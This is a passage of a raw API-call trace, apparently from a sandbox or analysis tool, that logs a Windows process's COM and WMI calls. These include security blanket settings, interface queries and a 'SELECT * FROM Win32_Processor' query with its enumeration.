ppvObject=0x1afbbe10 | out: ppvObject=0x1afbbe10*=0x7d8598) returned 0x0 [0164.068] WbemLocator:IUnknown:QueryInterface (in: This=0x7885f0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbe20 | out: ppvObject=0x1afbbe20*=0x7d8550) returned 0x0 [0164.068] WbemLocator:IClientSecurity:SetBlanket (This=0x7d8550, pProxy=0x7885f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0164.068] WbemLocator:IUnknown:Release (This=0x7d8550) returned 0x2 [0164.068] WbemLocator:IUnknown:Release (This=0x7d8598) returned 0x1 [0164.068] CoTaskMemFree (pv=0x1b203c20) [0164.068] WbemLocator:IUnknown:Release (This=0x1b1c5b10) returned 0x0 [0164.068] WbemLocator:IUnknown:QueryInterface (in: This=0x7885f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb910 | out: ppvObject=0x1afbb910*=0x7d8598) returned 0x0 [0164.068] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb9a0 | out: ppvObject=0x1afbb9a0*=0x0) returned 0x80004002 [0164.072] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb5c0 | out: ppvObject=0x1afbb5c0*=0x0) returned 0x80004002 [0164.073] WbemLocator:IUnknown:QueryInterface (in: This=0x7885f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb198 | out: ppvObject=0x1afbb198*=0x0) returned 0x80004002 [0164.076] WbemLocator:IUnknown:AddRef (This=0x7d8598) returned 0x3 [0164.076] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb058 | out: ppvObject=0x1afbb058*=0x0) returned 0x80004002 [0164.076] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbafe0 | out: ppvObject=0x1afbafe0*=0x0) returned 0x80004002 [0164.076] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbafd0 | out: ppvObject=0x1afbafd0*=0x7d8478) returned 0x0 [0164.076] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x7d8478, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbaff8 | out: pCid=0x1afbaff8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.076] WbemLocator:IUnknown:Release (This=0x7d8478) returned 0x3 [0164.076] CoGetContextToken (in: pToken=0x1afbb080 | out: pToken=0x1afbb080) returned 0x0 [0164.076] CoGetObjectContext (in: riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b204798 | out: ppv=0x1b204798*=0x77dd40) returned 0x0 [0164.077] CoGetContextToken (in: pToken=0x1afbb500 | out: pToken=0x1afbb500) returned 0x0 [0164.077] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb5c0 | out: ppvObject=0x1afbb5c0*=0x7d8560) returned 0x0 [0164.077] WbemLocator:IRpcOptions:Query (in: This=0x7d8560, pPrx=0x7d8598, dwProperty=2, pdwValue=0x1afbb5b0 | out: pdwValue=0x1afbb5b0) returned 0x80004002 [0164.077] WbemLocator:IUnknown:Release (This=0x7d8560) returned 0x3 [0164.077] WbemLocator:IUnknown:Release (This=0x7d8598) returned 0x2 [0164.077] CoGetContextToken (in: pToken=0x1afbbbc0 | out: pToken=0x1afbbbc0) returned 0x0 [0164.077] CoGetContextToken (in: pToken=0x1afbbac0 | out: pToken=0x1afbbac0) returned 0x0 [0164.077] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x1afbbc20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1afbbbf0 | out: ppvObject=0x1afbbbf0*=0x7885f0) returned 0x0 [0164.077] WbemLocator:IUnknown:AddRef (This=0x7885f0) returned 0x4 [0164.077] WbemLocator:IUnknown:Release (This=0x7885f0) returned 0x3 [0164.077] WbemLocator:IUnknown:Release (This=0x7885f0) returned 0x2 [0164.089] SysStringLen (param_1=0x0) returned 0x0 [0164.090] CoGetContextToken (in: pToken=0x1afbbcf0 | out: pToken=0x1afbbcf0) returned 0x0 [0164.090] WbemLocator:IUnknown:AddRef (This=0x7d8598) returned 0x3 [0164.090] WbemLocator:IUnknown:QueryInterface (in: This=0x7d8598, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbcf0 | out: ppvObject=0x1afbbcf0*=0x7d8598) returned 0x0 [0164.090] WbemLocator:IUnknown:Release (This=0x7d8598) returned 0x3 [0164.090] WbemLocator:IUnknown:Release (This=0x7d8598) returned 0x2 [0164.092] CoGetContextToken (in: pToken=0x1afbbe20 | out: pToken=0x1afbbe20) returned 0x0 [0164.092] WbemLocator:IUnknown:AddRef (This=0x7885f0) returned 0x3 [0164.092] IWbemServices:ExecQuery (in: This=0x7885f0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_Processor", lFlags=16, pCtx=0x0, ppEnum=0x1afbc2c8 | out: ppEnum=0x1afbc2c8*=0x75c250) returned 0x0 [0164.099] IUnknown:QueryInterface (in: This=0x75c250, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf98 | out: ppvObject=0x1afbbf98*=0x75c258) returned 0x0 [0164.099] IClientSecurity:QueryBlanket (in: This=0x75c258, pProxy=0x75c250, pAuthnSvc=0x1afbc060, pAuthzSvc=0x1afbbfe0, pServerPrincName=0x1afbc008, pAuthnLevel=0x1afbbfe4, pImpLevel=0x1afbbff0, pAuthInfo=0x1afbc018, pCapabilites=0x1afbbff4 | out: pAuthnSvc=0x1afbc060*=0xa, pAuthzSvc=0x1afbbfe0*=0x0, pServerPrincName=0x1afbc008, pAuthnLevel=0x1afbbfe4*=0x6, pImpLevel=0x1afbbff0*=0x2, pAuthInfo=0x1afbc018, pCapabilites=0x1afbbff4*=0x1) returned 0x0 [0164.099] IUnknown:Release (This=0x75c258) returned 0x1 [0164.099] IUnknown:QueryInterface (in: This=0x75c250, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf30 | out: ppvObject=0x1afbbf30*=0x1b1ed568) returned 0x0 [0164.099] IUnknown:QueryInterface (in: This=0x75c250, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbf40 | out: ppvObject=0x1afbbf40*=0x75c258) returned 0x0 [0164.099] IClientSecurity:SetBlanket (This=0x75c258, pProxy=0x75c250, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0164.103] IUnknown:Release (This=0x75c258) returned 0x2 [0164.103] WbemLocator:IUnknown:Release (This=0x1b1ed568) returned 0x1 [0164.103] CoTaskMemFree (pv=0x1b203e60) [0164.103] IUnknown:QueryInterface (in: This=0x75c250, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba00 | out: ppvObject=0x1afbba00*=0x1b1ed568) returned 0x0 [0164.103] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbba90 | out: ppvObject=0x1afbba90*=0x0) returned 0x80004002 [0164.103] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb6b0 | out: ppvObject=0x1afbb6b0*=0x0) returned 0x80004002 [0164.104] IUnknown:QueryInterface (in: This=0x75c250, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb288 | out: ppvObject=0x1afbb288*=0x0) returned 0x80004002 [0164.104] WbemLocator:IUnknown:AddRef (This=0x1b1ed568) returned 0x3 [0164.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb148 | out: ppvObject=0x1afbb148*=0x0) returned 0x80004002 [0164.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb0d0 | out: ppvObject=0x1afbb0d0*=0x0) returned 0x80004002 [0164.104] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb0c0 | out: ppvObject=0x1afbb0c0*=0x1b1ed448) returned 0x0 [0164.105] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b1ed448, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb0e8 | out: pCid=0x1afbb0e8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.105] WbemLocator:IUnknown:Release (This=0x1b1ed448) returned 0x3 [0164.105] CoGetContextToken (in: pToken=0x1afbb170 | out: pToken=0x1afbb170) returned 0x0 [0164.105] CoGetContextToken (in: pToken=0x1afbb5f0 | out: pToken=0x1afbb5f0) returned 0x0 [0164.105] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb6b0 | out: ppvObject=0x1afbb6b0*=0x1b1ed530) returned 0x0 [0164.105] WbemLocator:IRpcOptions:Query (in: This=0x1b1ed530, pPrx=0x1b1ed568, dwProperty=2, pdwValue=0x1afbb6a0 | out: pdwValue=0x1afbb6a0) returned 0x80004002 [0164.105] WbemLocator:IUnknown:Release (This=0x1b1ed530) returned 0x3 [0164.105] WbemLocator:IUnknown:Release (This=0x1b1ed568) returned 0x2 [0164.105] CoGetContextToken (in: pToken=0x1afbbcb0 | out: pToken=0x1afbbcb0) returned 0x0 [0164.105] CoGetContextToken (in: pToken=0x1afbbbb0 | out: pToken=0x1afbbbb0) returned 0x0 [0164.105] WbemLocator:IUnknown:QueryInterface (in: This=0x1b1ed568, riid=0x1afbbd10*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbbce0 | out: ppvObject=0x1afbbce0*=0x75c250) returned 0x0 [0164.105] IUnknown:AddRef (This=0x75c250) returned 0x4 [0164.105] IUnknown:Release (This=0x75c250) returned 0x3 [0164.105] IUnknown:Release (This=0x75c250) returned 0x2 [0164.105] WbemLocator:IUnknown:Release (This=0x7885f0) returned 0x2 [0164.105] SysStringLen (param_1=0x0) returned 0x0 [0164.105] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x7b3e80, puCount=0x1afbc308 | out: puCount=0x1afbc308*=0x2) returned 0x0 [0164.105] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc300*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc300*=0xf, pszText=0x0) returned 0x0 [0164.105] WbemDefPath:IWbemPath:GetText (in: This=0x7b3e80, lFlags=4, puBuffLength=0x1afbc300*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc300*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0164.149] CoGetContextToken (in: pToken=0x1afbbe80 | out: pToken=0x1afbbe80) returned 0x0 [0164.149] IUnknown:AddRef (This=0x75c250) returned 0x3 [0164.149] IEnumWbemClassObject:Clone (in: This=0x75c250, ppEnum=0x1afbc280 | out: ppEnum=0x1afbc280*=0x7fac20) returned 0x0 [0164.151] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc008 | out: ppvObject=0x1afbc008*=0x7fac28) returned 0x0 [0164.152] IClientSecurity:QueryBlanket (in: This=0x7fac28, pProxy=0x7fac20, pAuthnSvc=0x1afbc0d0, pAuthzSvc=0x1afbc050, pServerPrincName=0x1afbc078, pAuthnLevel=0x1afbc054, pImpLevel=0x1afbc060, pAuthInfo=0x1afbc088, pCapabilites=0x1afbc064 | out: pAuthnSvc=0x1afbc0d0*=0xa, pAuthzSvc=0x1afbc050*=0x0, pServerPrincName=0x1afbc078, pAuthnLevel=0x1afbc054*=0x6, pImpLevel=0x1afbc060*=0x2, pAuthInfo=0x1afbc088, pCapabilites=0x1afbc064*=0x1) returned 0x0 [0164.152] IUnknown:Release (This=0x7fac28) returned 0x1 [0164.152] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbfa0 | out: ppvObject=0x1afbbfa0*=0x1b207208) returned 0x0 [0164.152] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbfb0 | out: ppvObject=0x1afbbfb0*=0x7fac28) returned 0x0 [0164.152] IClientSecurity:SetBlanket (This=0x7fac28, pProxy=0x7fac20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0164.154] IUnknown:Release (This=0x7fac28) returned 0x2 [0164.154] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x1 [0164.154] CoTaskMemFree (pv=0x1b203bf0) [0164.155] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbba60 | out: ppvObject=0x1afbba60*=0x1b207208) returned 0x0 [0164.155] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbaf0 | out: ppvObject=0x1afbbaf0*=0x0) returned 0x80004002 [0164.156] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb710 | out: ppvObject=0x1afbb710*=0x0) returned 0x80004002 [0164.156] IUnknown:QueryInterface (in: This=0x7fac20, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb2e8 | out: ppvObject=0x1afbb2e8*=0x0) returned 0x80004002 [0164.157] WbemLocator:IUnknown:AddRef (This=0x1b207208) returned 0x3 [0164.157] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb1a8 | out: ppvObject=0x1afbb1a8*=0x0) returned 0x80004002 [0164.157] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb130 | out: ppvObject=0x1afbb130*=0x0) returned 0x80004002 [0164.157] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb120 | out: ppvObject=0x1afbb120*=0x1b2070e8) returned 0x0 [0164.157] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2070e8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb148 | out: pCid=0x1afbb148*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0164.158] WbemLocator:IUnknown:Release (This=0x1b2070e8) returned 0x3 [0164.158] CoGetContextToken (in: pToken=0x1afbb1d0 | out: pToken=0x1afbb1d0) returned 0x0 [0164.158] CoGetContextToken (in: pToken=0x1afbb650 | out: pToken=0x1afbb650) returned 0x0 [0164.158] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb710 | out: ppvObject=0x1afbb710*=0x1b2071d0) returned 0x0 [0164.158] WbemLocator:IRpcOptions:Query (in: This=0x1b2071d0, pPrx=0x1b207208, dwProperty=2, pdwValue=0x1afbb700 | out: pdwValue=0x1afbb700) returned 0x80004002 [0164.158] WbemLocator:IUnknown:Release (This=0x1b2071d0) returned 0x3 [0164.158] WbemLocator:IUnknown:Release (This=0x1b207208) returned 0x2 [0164.158] CoGetContextToken (in: pToken=0x1afbbd10 | out: pToken=0x1afbbd10) returned 0x0 [0164.159] CoGetContextToken (in: pToken=0x1afbbc10 | out: pToken=0x1afbbc10) returned 0x0 [0164.159] WbemLocator:IUnknown:QueryInterface (in: This=0x1b207208, riid=0x1afbbd70*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbbd40 | out: ppvObject=0x1afbbd40*=0x7fac20) returned 0x0 [0164.159] IUnknown:AddRef (This=0x7fac20) returned 0x4 [0164.159] IUnknown:Release (This=0x7fac20) returned 0x3 [0164.159] IUnknown:Release (This=0x7fac20) returned 0x2 [0164.159] IUnknown:Release (This=0x75c250) returned 0x2 [0164.159] SysStringLen (param_1=0x0) returned 0x0 [0164.159] IEnumWbemClassObject:Reset (This=0x7fac20) returned 0x0 [0164.164] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd610 [0164.164] IEnumWbemClassObject:Next (in: This=0x7fac20, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd610, puReturned=0x266f9d0 | out: apObjects=0x1b1dd610*=0x1b21fe80, puReturned=0x266f9d0*=0x1) returned 0x0 [0168.687] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb600 | out: ppvObject=0x1afbb600*=0x1b21fe80) returned 0x0 [0168.687] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb690 | out: ppvObject=0x1afbb690*=0x0) returned 0x80004002 [0168.687] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb2b0 | out: ppvObject=0x1afbb2b0*=0x0) returned 0x80004002 [0168.687] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbae88 | out: ppvObject=0x1afbae88*=0x0) returned 0x80004002 [0168.688] IUnknown:AddRef (This=0x1b21fe80) returned 0x3 [0168.688] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbad48 | out: ppvObject=0x1afbad48*=0x0) returned 0x80004002 [0168.688] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbacd0 | out: ppvObject=0x1afbacd0*=0x0) returned 0x80004002 [0168.688] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbacc0 | out: ppvObject=0x1afbacc0*=0x1b21fe88) returned 0x0 [0168.688] IMarshal:GetUnmarshalClass (in: This=0x1b21fe88, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbace8 | out: pCid=0x1afbace8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0168.688] IUnknown:Release (This=0x1b21fe88) returned 0x3 [0168.688] CoGetContextToken (in: pToken=0x1afbad70 | out: pToken=0x1afbad70) returned 0x0 [0168.688] CoGetContextToken (in: pToken=0x1afbb1f0 | out: pToken=0x1afbb1f0) returned 0x0 [0168.688] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb2b0 | out: ppvObject=0x1afbb2b0*=0x0) returned 0x80004002 [0168.688] IUnknown:Release (This=0x1b21fe80) returned 0x2 [0168.688] CoGetContextToken (in: pToken=0x1afbb8b0 | out: pToken=0x1afbb8b0) returned 0x0 [0168.688] CoGetContextToken (in: pToken=0x1afbb7b0 | out: pToken=0x1afbb7b0) returned 0x0 [0168.688] IUnknown:QueryInterface (in: This=0x1b21fe80, riid=0x1afbb910*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbb8e0 | out: ppvObject=0x1afbb8e0*=0x1b21fe80) returned 0x0 [0168.688] IUnknown:AddRef (This=0x1b21fe80) returned 0x4 [0168.688] IUnknown:Release 